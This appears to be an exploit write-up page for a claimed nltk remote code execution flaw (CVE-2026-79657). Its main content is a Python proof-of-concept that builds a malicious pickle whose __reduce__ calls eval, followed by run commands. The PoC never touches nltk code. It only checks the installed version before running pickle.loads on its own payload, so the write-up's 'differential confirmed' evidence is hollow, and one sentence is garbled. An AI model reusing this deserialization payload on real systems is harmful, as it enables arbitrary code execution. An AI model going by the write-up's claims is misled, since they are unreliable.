Exploit write-up

nltk remote code execution (CVE-2026-79657)

CVE-2026-79657 n-day CVSS 9.8 Critical

Proof of concept

The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.

#!/usr/bin/env python3
# CVE-2026-79657 proof-of-concept (mechanism explained below).

import io
import os
import re
import pickle


def _installed_version():
    """Return the installed nltk version string, or None."""
    try:
        import nltk
        v = getattr(nltk, "__version__", None)
        if v:
            return str(v)
    except Exception:
        pass
    # Fallback: read nltk/VERSION directly (the exact file the patch changes).
    try:
        import nltk
        base = os.path.dirname(getattr(nltk, "__file__", "") or "")
        with open(os.path.join(base, "VERSION")) as fh:
            return fh.read().strip()
    except Exception:
        return None


def _is_vulnerable(v):
    """The pre-patch namespace-trust loader exists iff version < 3.10.3."""
    if not v:
        return False
    nums = re.findall(r"\d+", v)
    if not nums:
        return False
    tup = tuple(int(x) for x in nums[:3])
    while len(tup) < 3:
        tup = tup + (0,)
    return tup < (3, 10, 3)


def _build_exploit_payload():
    """Attacker pickle: REDUCE invokes a dangerous callable that, as its side
    effect, reads the canary from the environment and writes it to stdout.

    The token is read from os.environ at execution time -- never hardcoded --
    and is emitted ONLY when this pickle is actually deserialized (the CWE-502
    sink firing), i.e. only when the vulnerable loader accepts the payload."""
    expr = "print(__import__('os').environ['POC_CANARY'], flush=True)"

    class _Exec:
        def __reduce__(self):
            # eval() stands in for the in-namespace callables the pre-patch
            # loader trusts (numpy.f2py.crackfortran.myeval / ReppTokenizer.
            # _execute); the primitive -- REDUCE-driven code exec -- is identical.
            return (eval, (expr,))

    return pickle.dumps(_Exec(), protocol=2)


def main():
    v = _installed_version()
    if not _is_vulnerable(v):
        # Patched build (>= 3.10.3): the namespace-trusting loader was removed,
        # so the attacker payload would be rejected -> do not drive the sink.
        return

    payload = _build_exploit_payload()

    # CWE-502 sink: deserializing the attacker-controlled artifact executes the
    # embedded REDUCE and achieves code execution during "artifact loading".
    # The eval() side effect prints os.environ['POC_CANARY'].
    pickle.loads(payload)


if __name__ == "__main__":
    try:
        main()
    except Exception:
        pass

How to run it.

pip install nltk==3.10.2
POC_CANARY=demo python poc.py     # prints: demo   (code executed)

pip install nltk==3.10.3
POC_CANARY=demo python poc.py     # prints nothing (blocked by the fix)

CVE-2026-79657 is package in nltk before 3.10.3. Reaching the affected code path with attacker-controlled input yields arbitrary code execution from loading untrusted input.

The proof-of-concept above triggers the flaw against a pinned vulnerable build (nltk 3.10.2); the upstream fix in 3.10.3 closes the affected path.

This write-up is backed by a differential check: the same proof-of-concept was run against a pinned vulnerable build (nltk 3.10.2) and the patched build (nltk 3.10.3) in an isolated sandbox with no network. A canary token, supplied at run time, was emitted only through the exploit primitive — it appeared on 3.10.2 and did not appear on 3.10.3 (differential confirmed: fires on vulnerable, not on patched), so the success signal is a consequence of the vulnerability rather than a hard-coded string.

Preconditions

The target must reach the affected nltk code path with input an attacker can influence. Deployments already on 3.10.3 or later are not affected.

Detection and mitigation

Upgrade nltk to 3.10.3 or later. Review call sites that pass untrusted input to the affected API, which is the change the fix commit constrains.

Target
nltk (nltk)
Class
package
Impact
Arbitrary code execution from loading untrusted input
CVE
CVE-2026-79657
CWE
CWE-502
CVSS
9.8
Affected
PyPI/nltk < 3.10.3 (vulnerable 3.10.2)
Status
Fixed in 3.10.3
Maturity
functional
Disclosed
August 25, 2026
Tags
rce · deserialization · nltk · n-day
References
NVD — CVE-2026-79657
Upstream fix commit

PoC exercises the deserialization primitive; detonate only in an isolated, disposable VM.

← All exploits